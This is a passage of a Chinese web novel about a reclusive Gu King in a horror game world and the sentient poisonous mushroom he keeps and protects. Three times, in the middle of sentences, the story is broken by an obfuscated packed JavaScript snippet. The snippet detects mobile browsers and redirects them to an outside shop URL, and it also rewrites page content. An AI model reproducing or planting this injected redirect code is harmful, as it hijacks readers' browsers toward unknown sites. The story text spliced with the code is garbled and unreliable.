说完,像是怕滕阿婆跟他抢蘑菇一般。 符歇捏着顾蘑菇,匆匆离开。 少年的脚步略显仓促,他清瘦的身影很快就消失在山的另一头。 藏青色苗服渐渐与深紫色的瘴气融为一体,只留下幽怨呜咽的银铃声响。 “是鬼哭银铃的声音。” 玩家住所门口,领头的女人忽然将一根手指举到唇前,示意众人安静。 她的目光中带着本能的恐惧,无力地开口宣告: “蛊王,要来了。” 叮铃铃—— 叮铃铃—— 清脆的银铃声在玩家眼中,仿佛是可怕的催命符。 所有玩家都僵在了原地,噤若寒蝉。 像是全身骨骼被寒冰一寸一寸地冻住,动弹不得。 众人眼睁睁看着,一只修长苍白的手从毒瘴中缓缓穿出。 轻轻一挥,便拨开了浓厚的瘴气。 紫色的毒瘴缓缓向两边恭敬飘散,露出万毒蛊王那张冷漠的俊脸。 还有被他攥在另一只手里的蘑菇。 面对玩家,符歇薄唇轻掀,公事公办地问询: “人数变少了,昨夜有死人?” 女人顶着压力回答:“……死了一个。” 符歇手中的顾蘑菇听了,好奇地探出头。 什么是“死”? 天真的蘑菇还不知道。 人刚才说了——“死”会把人变少。 所以“死”,是什么会吃人的野兽吗? 顾蘑菇仿佛看到远处的山丘上,有一头巨大的黑色野兽站了起来。 张开血盆大口,一口一个,把符歇和蘑菇都吞掉。 顾蘑菇被想象中的场景吓得一激灵。 【不要!】 【不要死!】 符歇环视一圈,确认少的是西装男,主动开口问:“我帮你们看看?” 面对蛊王忽然的热情帮忙,众人都有些无措,你看看我,我看看你。 最终,还是女人应承下来:“好,那就麻烦您了。还要谢谢您……昨夜我们去找了巫医,那个大块头虽然疯了,但好歹捡回一条命。巫医说,他是接触了毒蘑菇,才变成这样的。” 女人并未推卸责任,低下头坦诚道歉。 “都是我们的错,没有听您的话远离蘑菇。” “不。”符歇冷寂的目光划过,语气毫无起伏,“是他的错,不是‘你们’的。” 女人本就聪明,闻言知道蛊王这是不殃及池鱼的意思。 她松了口气,小心翼翼地试探:“还有,死掉的那位,是不是也碰了蘑菇?他也有……错吗?” “没有。” 不知道想到什么,符歇淡淡笑了一下。 “死人是不会有错的。” 话音落下,气氛瞬间陷入了诡异的沉默。 符歇仿若未觉,撩开竹帘,走入那间弥漫着血腥味的房间中。 “对了。”走进去的同时,符歇将顾蘑菇临时塞进了袖中,“你不许看,少蘑不宜。” 虽然在滕阿婆的眼中,顾蘑菇已经是一朵成熟的蘑菇了。 但在蛊王眼中,顾蘑菇还只是一朵需要照顾的小蘑菇。 符歇的这一举动,又把顾蘑菇感动得不行。 人居然将他保护起来,独自去面对那个叫“死”的野兽。 顾初眠才不是什么需要保护的、娇滴滴的蘑菇呢。 他要当人的帮手! 【人,蘑菇来帮你!】 顾蘑菇气势汹汹地,在符歇的袖子里横冲直撞。 “他的死,和蘑菇无关。”符歇先是为蘑菇正名,“你们看他的腹部,就知道了。” 他将冰冷的眼神落在那具尸体鼓胀的肚皮上。 “这不是蘑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401832|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菇中毒的症状,他中的是蟾蜍的毒。” 顾初眠在袖子里一边钻来钻去,一边附和。 【就是就是!冤枉好菇!】 女人若有所思:“昨夜,确实有听见蟾蜍咕呱咕呱的叫声。” 一旁有个穿皮衣的黄毛吊儿郎当地开口:“小哥,那你知不知道,怎样才能化解这蟾蜍的毒啊。” 符歇却像是没听到:“看完了,出去吧。” 一时之间,众人脑中纷纷回想起同一条评论:“蛊王小哥跟听不懂人话似的,不是很能交流。” 黄毛骤然恼火,伸手想要抓符歇的衣袖:“喂,你怎么不理人啊?” 却被缠在符歇手腕上的手链一把拍开,鞭打出一道黑红色的印记。 黄毛吃痛,再定睛一看。 所谓的“手链”,其实是一条衔着尾巴的银环蛇。 “我说过了。”符歇回头蹙眉,隐忍警告,“有病去找巫医,脑子有病也是,别来我这里找死。” 真是的,本来上班就烦。 都说了这个业务不归他管,管了他是要被邪神处罚的。 这些玩家怎么就听不懂暗示呢。 女人见符歇不悦,连忙紧急一个手刀劈晕了黄毛:“你别在这里发疯!” 或许是停留太久,嫌恶尸体散发出的那股难闻气味。 符歇抬起手肘,以手指掩鼻。 他的胳膊与地面近乎平行。 也就让袖子里的蘑菇成功迷失了方向。 关于走左边还是右边,蘑菇坐在袖子里,贴着符歇的手臂,迷茫了一会儿。 很快,他就做出了决定。 【走这边走这边,这边香香的!】 顾蘑菇蹲下,用伞伞抱住杆杆。 他把自己蜷缩成一个圆嘟嘟的蘑菇团,雄赳赳气昂昂地朝着认定的方向飞速滚了过去。 符歇刚踏出房门,呼吸第一口新鲜空气。 吸气的动作做到一半,忽然不上不下地卡住了。 他感受到—— 有一大团软绵绵的东西擦过他紧实的肱二头肌,正锲而不舍地往他的胸口钻。 少年微微扬首,眼尾被刺激得泛红,难耐地低咒一声。 “该死。” 顾蘑菇听到“死”字,扭动得更起劲了。 【人!等着!】 【菇来帮你!】 符歇半阖着眸,隐忍地伸手,试图逮住乱窜的顾蘑菇。 可顾蘑菇灵巧地走位,几次恰好躲过。 【……咦?】 等到蘑菇爬出了袖子筒,才意识到有哪里不对劲。 他似乎爬到了一座小山坡上。 顾蘑菇茫然,展开伞伞,换回杆杆支撑。 就这么直接在少年的胸肌上站起来了。 看着被蘑菇顶起一块的衣料,符歇太阳穴突突直跳。 少年哑着嗓子,耐心哄道: “……快出来,那不是你该去的地方。” “出来”? 【好!】 顾蘑菇点了点脑袋,有求必应。 他又把自己缩成了一个球形。 为了寻求最短的下山路径,顾蘑菇直接从陡峭的山坡上往下滚。 【菇噜菇噜!】 顾蘑菇跳下符歇的胸肌,划过鲨鱼肌和腹肌,一路坠落下去。 不知不觉,蘑菇开发出了【恐怖苗疆】新的小众游玩项目。 那就是——在蛊王的胸肌上无绳蹦极。 8. 又黑化了 顾蘑菇正上演着无绳蹦极,翻滚着贴着符歇的腹肌极速坠落。 符歇红着耳尖垂下头,眸中闪过一丝难得的惊慌。 就在顾蘑菇突破衣服的束缚,即将要三百六十度转体落向地面的时候。 符歇迅速伸出手,将从衣服里掉出来的顾蘑菇稳稳接住。 “好险……”符歇松了一口气。 差一点就要摔在地上了。 而没心没肺的蘑菇却依旧懵懂无知。 果冻般软乎乎的盖盖因为惯性弹了弹,他抬起头左顾右盼。 【咦?】 【好玩!】 想起要和符歇并肩作战的使命,顾蘑菇用杆杆敲了敲符歇的手掌,十分有气势地爬起来。 【人,你别怕,你的蘑来了!】 【蘑菇来帮你!】 符歇并看不懂顾蘑菇过于丰富的内心戏。 惊吓过后,尸体的臭味又重新涌入鼻腔,他嫌恶地蹙眉,伸手掩住了口鼻。 顾蘑菇见符歇黑着脸蹙眉。 似懂非懂地,也跟着吸了一口气。 【哕!好臭!】 【臭死菇了!】 这就是“死”的味道吗? 好难闻! 玩家们在背后看着符歇本来想要出门,却突然很突兀地停在门口。 “小哥,可是忘了什么事?” “……没事。” 符歇一手握紧蘑菇,一手捂着下半张脸。 向无人的一侧偏过泛红的脸,有些狼狈地回应。 其实有事,假装没事。 那种陌生的触感……实在是太怪了。 被一朵蘑菇滚过腹肌,对一向冷淡的少年来说,是一种全新的体验。 他沉默着看向被他捏在手里的罪魁祸首。 小蘑菇正十分努力地抻直杆杆,张开伞伞,似乎正在酝酿什么。 下一秒,符歇闻到一股淡淡的蘑菇香味。 那股香味并不张扬,却能突破浓重尸臭的包围,萦绕在他的鼻腔中,温和地驱赶走了难闻的味道。 “是你?” 符歇放下了遮掩口鼻的手,蹙起的眉缓缓解开。 顾蘑菇点点脑袋,奋力散发着自己的气味。 【人,你好些了吗?】 “嗯。”符歇心尖一软,微微颔首,“好多了。” 见蘑菇依旧期待地看着自己。 符歇唇角微勾,又补充了一句:“——幸好有你。” 听到这句话,顾蘑菇兴奋地晃了晃杆杆。 像是一只被夸奖了的小狗。 很好懂。 “等等!小哥!你真的,没忘了什么事吗?” 一个老实本分的中年男人大着胆子追问。 符歇收起脸上淡淡的笑意,面无表情地回过头。 中年男人指了指地上的尸体:“这,这具尸体怎么办?” 不对劲啊! 按照无限游戏的惯例,BOSS不应该直接扑上来,当着他们的面把尸体给吃了吗? 一边吃还要一边邪恶地冲着他们笑。 这才正常嘛。 再不济,也应该让尸体莫名其妙消失掉。 或者忽然诈尸,吓他们一跳。 反正,不该像是这样,看到了尸体就当没看到。 蛊王这样,真的很不对劲啊! “‘怎么办’?”符歇沉吟片刻,朴实无华地说,“你们可以放着,或者把他埋了。” 《BOSS工作指南》上没写,那就是不归他管。 “我们,把他埋了?”中年男人瞪大了眼,结结巴巴地说。 就这么不食用?不捉弄?不毁尸灭迹? 就这么安魂入土地埋了? “小哥,时间对我们来说很宝贵,有没有更加……高效的办法。”女人斟酌了一下,客客气气地问,“比如,您直接让毒物帮忙解决。” 在副本里死无全尸的情况见多了,这还是他们第一次求着BOSS帮忙处理尸体。 “……麻烦。” 少年听完,真实地抱怨了一声,打了个响指。 娑娑的摩擦声响起,一大群毒物从四面八方乌泱泱地涌过来。 它们密密麻麻地覆盖满那具尸体,很快就将尸体啃食一空,只剩下一具白骨。 毒虫啃食皮肉的声音传入玩家们的耳中,他们感同身受地全身发痒,可怜弱小又无助地抱紧了自己。 符歇再次打了个响指。 毒物们便利索地开始挖坑,将那具白骨埋进了土里。 安排毒物们做完了一切,符歇驱散了毒物,十分有原则地解释: “人我让它们帮忙埋了,肉是给它们的报酬。你们,没意见吧?” 少年说完,环视眼前的玩家们。 玩家们连忙摆手表态:“没意见没意见!” 生怕没意见说得晚了,蛊王让毒物教他们做人。 见毒物们都在大快朵颐,顾蘑菇也有些饿了。 他在符歇的掌心乱蹭,想要跳到地上去吃叶子。 符歇不愿给顾蘑菇再次逃离的机会。 他直接扣住了蘑菇的伞盖。 观察着蘑菇想要去往的方向,符歇意识到蘑菇是饿了。 “你不是吃过早饭了吗?”他狐疑地拎起蘑菇,问。 小狗蘑菇蜷起杆杆,有些心虚地觑着符歇。 【诶嘿嘿……】 见蘑菇这副样子,少年无奈扶额:“我知道了。” “吃杀猪菜啰——” 大圆桌前坐满了乡里乡亲,一道道山珍野味被热气腾腾地端上了桌。 顾蘑菇抱着叶子啃,坐在少年面前自带的碗里。 “你是土匪啊,这么会抢?” “慢点慢点,我还一口都没吃呢!” 蘑菇好奇地从碗里探出脑袋。 眼睁睁看着每一盘菜刚被端上来,盘子都还没碰到桌面,就遭到阿公阿婆的哄抢,被扫荡一空。 一个阿婆从隔壁桌流窜过来,彪悍地挤开人群。 “让让,让让啊,我家儿媳妇在家坐月子,我带点回去给儿媳妇吃!” 她乐呵呵地笑着,直接拿着红色塑料袋,一袋子一袋子往家里装。 而年轻的蛊王坐在最上首。 离上菜的口子远不说,还拉不下脸和长辈抢菜,在饭桌上吃尽了亏。 少年正襟危坐,严肃着脸。 全程只用筷子夹眼前的那盆没人关顾的清水萝卜。 顾蘑菇观察了一会儿,又犯了难。 人是大鸟。 可是,鸟吃萝卜吗? ……鸟吃红烧猪蹄? ……鸟还吃番茄炖牛腩? 顾蘑菇正在聚精会神地,思考着哲学问题。 忽然,装着他的碗被端了起来。 顾蘑菇茫然地看着不断倾斜的碗,和近在眼前的红色塑料袋子。 【咦?】 袋子怎么变大了?! 很远的地方,传来符歇的声音: “等一下!他不是吃的!” 原来是阿婆抄起了装顾蘑菇的碗,竟然要把顾蘑菇也倒进打包的袋子里。 顾不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401833|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形象,少年终于不淡定地起身,和阿婆争抢起了装蘑菇的瓷碗。 符歇:“他是我的蘑菇。” 阿婆:“谁先看到就是谁的!” 符歇:“那也是我的!” 两个人类一来一回,你推我拉。 碗里的蘑菇也跟随着碗晃过来荡过去。 符歇和阿婆互不相让,都扯着瓷碗的一边。 瓷碗几番挪移,最终停在了一盆热腾腾的毛血旺上。 为了转移阿婆的注意力,符歇艰难开口: “阿婆,您装那盆毛血旺吧,那个比蘑菇好吃一万倍。” 没想到,没转移走阿婆的注意力。 却转移走了蘑菇的。 【真的有那么好吃吗?】 顾蘑菇闻到了花椒和八角的辛辣香气。 他好奇地探出头往下看,正下方就是那盆符歇严选的、比蘑菇好吃一万倍的毛血旺。 毛肚、千张和鸭血堆得鼓鼓囊囊,被热乎乎红色辣油浸了个透彻,冒起白色的烟雾。 别说人了,就连蘑菇看到都流口水。 【菇也想尝!】 蘑菇将相,宁有种乎? 人可以吃,菇肯定也可以吃! 噗通—— 好奇人类食物的顾蘑菇纵身一跃,丝滑地跳进了那盆毛血旺中。 完全忘记了,自己也是一种食材。 【咕噜咕噜咕噜……】 【好烫好烫好烫!】 顾蘑菇在辣油里滚了一圈,还没来得及品尝,就差点把自己给煮熟了。 “蘑菇!”符歇松开已经蘑去碗空的瓷碗,两眼一黑。 就在这电光火石之间。 有个眼神不好的阿公伸出筷子,把顾蘑菇当做毛血旺里的配菜,夹了起来。 等夹到眼前,看清筷子夹起的是朵蘑菇。 阿公疑惑地嘟囔了一声:“毛血旺里,有放蘑菇吗?” “毛血旺里没有放蘑菇!”符歇顾不上弄脏手,分开阿公的筷子,把顾蘑菇解救了出来,“这是我的蘑菇。” 混乱过后,符歇好说歹说,总算把蘑菇拿回来了。 那盆被毒蘑菇碰过的毛血旺也不能吃了。 一身红油的顾蘑菇知道自己好像闯了祸,缩着杆杆,用盖盖包着自己,心虚地不敢看符歇。 符歇冷着脸,把顾蘑菇的伞盖剥开。 强行看着试图逃避的蘑菇,少年紧紧抿着唇。 许久后,他才哑声问:“疼吗?” 顾蘑菇蠢兮兮地摇摇脑袋,红油甩了符歇一手。 刚开始是有点烫啦,后来被捞出来就不烫了。 【人,我没事!】 【我可是恐怖副本里的蘑菇!】 符歇并没有理会蘑菇的摇头。 他自顾自地垂下眼,痛惜地说:“肯定很疼。” “下次别再这样了。” 别再一有逃跑的机会,就自作主张地离开我。 想到什么,符歇眸色一暗。 “不然,我真的会忍不住,把你关起来。” 蘑菇似乎不太能理解符歇的意思,歪着脑袋,疑惑地看着符歇。 好奇怪,明明没有闻到惩罚恶意的味道呀。 为什么人又黑化了? 想起上次受到的粗暴对待,蘑菇条件反射地抖了抖。 见蘑菇害怕自己,符歇眼中的执拗顷刻间消散,化作了不知该如何是好的无奈与茫然。 少年无措地张口,艰难措辞,试图去说出那些他从未说过的话: “别再这样,我……心疼。” 9. 撒娇没用 “别再这样,我……心疼。” 符歇艰难措辞,显露出几分年少的笨拙。 说完,他便抿着唇,像是犯了什么滔天大罪一般,等待着顾蘑菇的反应。 顾蘑菇听完,呆呆地趴在符歇手上。 想了一会儿,他努力绷直杆杆憋气,故技重施地散发出菌子的香味。 他会一直憋气,直到符歇不让他回答他不会的问题。 却被符歇无情戳穿:“撒娇没用。” 【咦?】 顾蘑菇抬起伞伞,歪过脑袋,看着符歇。 符歇将唇抿得更紧,似乎是在和自己对抗。 顾蘑菇更疑惑了。 ——明明很有用啊? 一人一菇僵持了一会儿,各自暗暗憋气。 顾蘑菇个头小,没有憋过一看就很能忍的蛊王。 【憋,憋不住了!】 顾蘑菇微微颤抖了几下,实在坚持不下去了,一下子松了那口气。 蘑菇盖盖喷出了几滴下锅时吸进去的红油,像是一块吸水的海绵。 顾蘑菇委屈地躺在符歇手中,大口大口喘着气,扭动着等待符歇的安慰。 符歇看着别扭的小蘑菇,并不急着安慰,而是沉沉开口:“我要的承诺,先给我。” 顾蘑菇不可思议地抬起头,撞上符歇漆黑的眼眸。 此时此刻的符歇似乎格外执着而冷酷。 “给我,我才能安慰你。” 撒娇装傻都没法萌混过关,顾蘑菇没办法了,哼哧哼哧地从符歇手心里爬起来,对着符歇点了点头。 【菇答应啦!】 没办法,人实在太粘蘑菇了。 不像他们蘑菇,每一朵都能独立存在,很有蘑菇感。 好吧好吧,没有蘑菇感的人,菇接受! 如果人类能听见蘑菇在哼唧什么。 吃饱喝足路过回家的阿公大概会告诉顾蘑菇—— 那不叫蘑菇感。 那叫安全感。 不过对于符歇来说,两者或许差不多。 顾蘑菇在毛血旺中畅游体验了一番,那一大盆菜也不能吃了。 准确来说,是除了百毒不侵的蛊王,其他人都不能吃。 在滕阿婆“不能浪费哟”的叮嘱下,符歇被勒令要把那盆毛血旺打包回家。 “别害羞嘛,大方的,我给你拿个袋。” 滕阿婆笑眯眯地说着,找来一个大红色的塑料袋。 “等等。”符歇狼狈喊停,“有……黑色袋子吗?” 这是他最后的倔强。 身为一代蛊王,他实在忍受不了自己一路提着红色塑料袋,从寨子里走回去。 因为那个抢菜很勇猛的阿婆,用的就是红色塑料袋。 他怕人家误会他是阿婆的余党。 滕阿婆愣了一下,哈哈大笑:“当了这么久的蛊王,脸皮还是很薄喔!” 符歇被这么一笑,紧紧绷着脸,耳尖却红了。 “……没有。” 他否认,自己也不知道在否认什么。 接过塑料袋,匆匆道了句谢,带着顾蘑菇逃走了。 回到家,符歇拿出碗,把那盆毛血旺倒了出来。 一人一菇坐在桌前,盯着那盆毛血旺,一时间有些沉默。 符歇轻轻叹了口气。 这么一大盆毛血旺。 接下来他一周都得吃毛血旺了。 看到在盆子边蠢蠢欲动的顾蘑菇,眉心的结又自动解开。 符歇伸出一根食指,推了推穿着限定红油皮肤的顾蘑菇。 “不是好奇味道吗?”符歇轻声开口,“趁着还没帮你洗澡,再闻闻吧。” 顾蘑菇无声欢呼,雀跃地趴在盆子的边缘猛吸了一顿。 远远看去,红色的顾蘑菇与毛血旺融为一体,真的很像是毛血旺里偷跑的配菜。 也难怪眼神不好的阿公会认错了。 【哇!】 【香迷糊了!】 顾蘑菇吸够了,歪歪倒倒地摔回了饭桌上。 啪叽一声,在桌上砸出一块红色的水印。 符歇两只手指拎起顾蘑菇的脑袋。 像是夹娃娃一样,把顾蘑菇挪移到了一个水盆上方。 “你怕水吗?”符歇先礼后兵地问了一句。 顾蘑菇摇摇脑袋。 但由于他的脑袋被符歇抓住了。 实际上他摇的是杆杆。 符歇便小心翼翼地把顾蘑菇浸在了水里。 顾蘑菇仗着身上有油,滑溜溜地自己从符歇手里扭了出来。 趁着兴奋逃脱成功,想到符歇的嘱咐。 无辜地回身,停在水面上,冲着符歇装傻。 【我可不是逃跑哦?】 “你啊……” 符歇叹了口气,弹了弹蘑菇的脑壳,随他去了。 蘑菇刚刚来到人类世界,每天都在接触新事物,贪玩一点也正常。 新晋蘑菇饲养员·符歇苦大仇深地说服自己。 顾蘑菇用盖盖浮在水面上,把杆杆当螺旋桨,在盆子里四处漂。 一圈圈红油在水流的洗涤下,像是花瓣一般荡漾开。 【呜呼——】 蘑菇漂流! 顾蘑菇玩了一圈,玩得很高兴,洗澡的效率却很低。 等蘑菇完全玩尽兴了,懒洋洋躺在水面上。 这时候,符歇才默默接手,帮他洗澡。 顾蘑菇乖乖躺在符歇双手中,配合着一动不动,等着符歇伺候他。 一开始,符歇有些纠结。 他没帮别人洗过澡——这是肯定的。 不过顾蘑菇应该也不算人。 菜,符歇还是洗过的。 那就……像是洗菜一样洗蘑菇,就可以了? 应该吧? 符歇不确定地试了试。 顾蘑菇在他的抚摸下,打起了小呼噜。 【人!最好!】 符歇见顾蘑菇这副样子,松了口气。 看来用洗菜的手法洗蘑菇,应该……没问题? 就是坚决不能让顾蘑菇知道。 “咳。”符歇轻咳一声,压平嘴角,不自然地移开视线。 等他再做好心理准备,把视线从别处转回来。 符歇惊讶地发现,蘑菇掉色了。 一开始掉的是红油的红色。 红色掉完,分隔水和蘑菇的油层没有了,蘑菇便开始掉黑色。 整盆水慢慢被蘑菇染成符歇熟悉的黑色。 符歇熟悉这种黑,是因为他的洗澡水最终也会变成这种黑色。 这是毒性很强的外在表现。 这代表着,蘑菇不止有毒。 威力还超出了普通毒蘑菇毒性的范畴。 符歇把顾蘑菇放进水盆里,若有所思地抚了一下水面。 “已经这么黑了……”符歇蹙眉,探究地看着天真无邪的蘑菇。 这个颜色,通常已经具备了不用触碰、就能影响他人的能力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401834|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 符歇略带疑问:“你也是么?” 顾蘑菇听不懂符歇在说什么。 他乐呵呵地搅动了一下杆杆,冲着符歇泼了一点水。 【嘿!】 黑漆漆的水珠溅射到了少年苍白的脸上。 符歇也并不生气,就任由蘑菇泼来的水从俊脸上缓缓下滑,欲坠不坠地挂在下巴上。 年轻的蛊王眯起眼,缓缓仰起头,活动脖颈,从左到右转了一圈,像是一条餍足的蛇。 他纵容黑色的水珠从下巴过渡往下游走,缓缓划过喉结。 最终,一些水珠停留在锁骨上,一些则从绑缚他的银链下方穿过,没入宽大的领口中,不见踪影。 符歇的脸上依旧挂着一滴水,就在他左眼的正下方。 将落不落的,像是一滴黑色的泪,又戾又欲。 “我遇到了一点小问题。”他开口,哑着声哄,“等我弄明白,再陪你玩,嗯?” 顾蘑菇呆呆看着这样的符歇,杆杆颤了颤。 总感觉,抚过符歇的,不是那些他造出来的水珠。 而是他自己的杆杆。 ——蘑菇的毒性已经很强了,它的能力究竟是什么呢? 符歇的眼珠始终锁定着顾蘑菇,眸色渐渐深沉。 那一刻,他想了很多。 那条舔了蘑菇一口的竹叶青。 趁着符歇吃饭,莫名其妙想要靠近蘑菇的毒物们。 被蘑菇迷住、不惜以生命为代价也要带走蘑菇的玩家。 不要毛血旺也要抢走一颗蘑菇的阿婆。 还有很多很多活物。 他们都想和符歇抢蘑菇。 想到一种奇妙的可能,符歇揪起看着他发呆的蘑菇,拿到眼前。 他掀唇,若有所思地说: “小蘑菇,你好像有点受欢迎过了头?” 为了验证自己的猜测,符歇一甩袖子,召出了一只毒蝎。 他完全撤去了对于毒蝎的控制,想看看它面对蘑菇时最真实的反应。 毒蝎落在地上,先是漫无目的地原地打转了两圈。 随后,似乎是嗅到了蘑菇身上淡淡的香味。 它迅速调转方向,直直冲着顾蘑菇爬去。 符歇看在眼里,确认了一个猜测: 顾蘑菇确实拥有某种蛊惑心灵的能力。 与此同时,顾蘑菇正吓得紧紧用伞伞扒住符歇的手指。 【啊啊啊人!啊啊啊蝎子!】 符歇从沉思中抽离,见顾蘑菇如此依赖自己,他的嘴角飞快地勾起。 “这才对。” ——真正聪明的蘑菇,遇到了危险,就应该要知道往哪里跑才对。 视线警告性地扫过对顾蘑菇虎视眈眈的毒物们,他用对毒物们绝对的掌控力,在毒物们的天性中写下了几条规则: 我不在时,要保护好蘑菇。 不准对他心存贪念。 他是我的。 顾蘑菇被符歇托起,远离了地面。 他抱着符歇的大拇指,略带疑惑地歪头。 【不对啊?】 人明明说过,人很危险,不许喜欢人。 符歇一手握着蘑菇,另一只手抚过湿漉漉的伞盖。 擦拭着那些水迹,一遍又一遍。 不知是不是看出了顾蘑菇的所思所想。 符歇适时开口。 “在我身边,我最危险。”他缓缓吐字,陈述一个事实,“离开了我,哪里都不安全。” 10. 我最危险 “在我身边,我最危险。” 少年说这话时,微微眯着眼。 “离开了我,哪里都不安全。” 像是一条吐着信子的、剧毒的蛇。 顾蘑菇歪着脑袋看着符歇,本色出演一台卡卡的小人机。 【……菇听不懂?】 眼下,蘑菇的词汇水平并不高。 听符歇的话,简直像是一个做汉语听力的、绝望的外国人。 甚至比外国人还要绝望。 他大概是一个来自蘑菇星球的外星人。 蘑菇艰难地试图理解符歇的话。 “在我身边,我最危险。” “离开了我,哪里都不安全。” 顾蘑菇认真地挑掉了他听不懂的部分,把这两句话乱七八糟地缩句为—— “在我身边,不离开我”。 别问他怎么缩句出来的。 就说是不是有这么几个字吧? 蘑菇简单粗暴地理解了人类的话语,并且作出了重要表态: 【人,不怕!】 【把你的菌丝好好放在地里!】 【蘑菇不会离开你!】 见顾蘑菇无比依赖地靠在自己的手心,符歇的占有欲几乎要溢满整间屋子。 周围的毒物四散退避,纷纷匍匐在地,不敢靠近。 符歇低声说:“不对。” 他现在这个状态很不对。 他从来没有这么想要占有过什么东西。 历任蛊王都是万毒之体,孤家寡人,凡物莫近。 他们什么都无法拥有,也什么都不会失去。 除了……这朵蘑菇。 符歇拥有了一朵蘑菇。 也就拥有了占有欲。 意识到什么,他看着小蘑菇,轻声开口: “难道,就连我也被你的能力影响了么。” 【什蘑什蘑?】 蘑菇懵懵懂懂地摇头。 “肯定是被影响了。”符歇兀自下了结论,“这样不行,还是教教你,怎么控制你身上的力量吧。” 说着,他把手指从顾蘑菇的盖盖上划过,按在了杆杆上。 少年一脸严肃:“听我说,气沉丹田。” 说完,符歇才开始反思一个问题。 ——蘑菇有丹田吗? 默了一瞬,他尝试着戳了戳蘑菇的杆杆,对应人类腹部的位置。 顾蘑菇被戳了一下,猛然弓起身,一颤一颤地抖了起来。 经过仔细观察后,符歇确信: 蘑菇不一定有丹田。 但一定有痒痒穴。 蘑菇和人不一样,也不一定叫痒痒穴。 反正就是一个……有些敏感的点位? “我们换个方式,一个更适合蘑菇的方式。”符歇放弃寻找蘑菇的丹田,飞快地略过了这个话题,“尝试着吐出一口气。” 蘑菇很配合地吐气,整只蘑菇凹陷下去。 【呼——】 见顾蘑菇如此卖力,符歇立刻给予鼓励: “很好,再吸气。” 【吸——】 整只蘑菇又鼓了起来,像是一个充满气的气球。 顾蘑菇吐气时,周围的蘑菇味道明显更浓。 吸气时,味道又会变淡。 “果然如此。” 符歇了然,告诉顾蘑菇:“这口气就是你的力量,平时不要把它完全吐出来,很少有活物能够扛得住。” 就连蛊王也不能。 顾蘑菇听了,瞬间浑身僵成了木头,完全不敢呼吸。 “在我面前没关系。”生怕顾蘑菇把自己憋死了,符歇连忙补充,“我能控制。” 只要是符歇的话,顾蘑菇从来不会怀疑。 对于自己的能力,他感到十分新奇,不停地呼气吸气,一会儿变鼓一会儿变瘪。 符歇眼底带上了淡淡笑意,补充了一句: “你想的话,也可以多加练习,如何储存更多的气——我教你。” 【可以吗?】 顾蘑菇听了,期待地看着符歇。 少年点了点头:“嗯,你想就可以。” 他已经完全忘记了,教顾蘑菇控制气息的初衷,是减弱蘑菇的影响来着? 再三确认顾蘑菇勉强能控制他的力量以后,符歇才放心带蘑菇出门。 苗寨前的水田中,玩家们正在互相指责。 “你会不会插秧啊?” “凶什么凶,搞得像你会似的!” “是是是,你插秧插得好,苗都浮到水面上了,看看boss杀不杀你。” 玩家们在来到《恐怖苗疆》之前,怎么也不会想到,居然有一个无限流游戏副本里的任务是插秧。 今天的早一些时候,符歇背着装了顾蘑菇的背篓,手里抓着一把秧苗,对着他们说:“草药你们已经采全了,今天你们就去地里插秧吧。” 那时候,玩家们还以为符歇正在说什么暗号。 “蛊王小哥,等一下等一下。”中年男满脸堆笑,搓着手说,“你等等,让我们商量一下!” 符歇面无表情地站在原地,不置可否。 起得太早,他正在强忍打哈欠的冲动。 想到顾蘑菇还在背篓里睡大觉,符歇就更困了。 见蛊王不禁止,玩家们立刻和符歇拉开距离,聚集在一起,召开了一个紧急会议。 “插秧,插秧,秧是幼苗的意思。”中年男压低声音,缜密地分析着,“蛊王不会要让我们去找童男童女,然后把他们插进田里吧?” 黄毛瞪大了眼睛,下意识骂道:“我去,你这个想法也太没人性了!” 中年男人无奈摊手,有理有据地反驳:“你和boss讲什么人性啊?” 黄毛直接扬声,冲着远处的符歇喊:“喂,我们需要去找童男童女吗?” 玩家们大惊失色,手忙脚乱去捂他的嘴: “你怎么敢直接问的啊!” 符歇看了神经兮兮、围成一圈、大呼小叫的玩家一眼。 他感到莫名其妙。 “不用。” 回答的同时,少年眯起眼,偷偷打了个哈欠,总算是舒服了。 玩家又默契地凑到一起,继续商量对策。 “我觉得本来就不至于。”女人摇了摇头,她的准备更充裕,拿起一根树枝,在地上写写画画,“秧字,由一个禾苗的禾和一个中央的央组成,会不会是告诉我们要把禾苗全都插在田的正中央,如果插到其他地方,可能会暴毙?” “你这也太绕了,你看我的。”黄毛一回生二回熟,胸有成竹地又冲着符歇喊,“小哥,这一关要怎么过啊?” 一片寂静。 已经不需要打哈欠的符歇不再回应。
